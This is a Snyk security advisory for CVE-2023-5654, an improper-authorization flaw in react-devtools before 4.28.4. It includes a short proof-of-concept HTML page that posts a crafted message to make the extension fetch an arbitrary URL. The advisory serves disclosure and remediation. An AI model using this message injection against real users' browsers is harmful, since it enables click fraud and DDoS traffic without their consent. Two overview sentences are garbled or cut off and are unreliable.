<p>Upgrade <code>react-devtools</code> to version 4.28.4 or higher.</p>

Improper Authorization Affecting react-devtools package, versions <4.28.4

Snyk CVSS

Attack Complexity Low

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.05% (16^th percentile)

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Snyk ID SNYK-JS-REACTDEVTOOLS-6023998
published 22 Oct 2023
disclosed 19 Oct 2023
credit Calum Hutton - Snyk Research Team

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Introduced: 19 Oct 2023

CVE-2023-5654 Open this link in a new tab CWE-285 Open this link in a new tab

How to fix?

Upgrade react-devtools to version 4.28.4 or higher.

Overview

react-devtools is an Use react-devtools outside of the browser

Affected versions of this package are vulnerable to Improper Authorization through the window.addEventListener('message', <listener>) function. By exploiting this vulnerability, an attacker can generate clicks and revenue or initiate a Distributed Denial of Service (DDoS) attack without the victims’ knowledge or consent by sending a message that triggers a fetch request to an arbitrary

PoC


<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.google.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>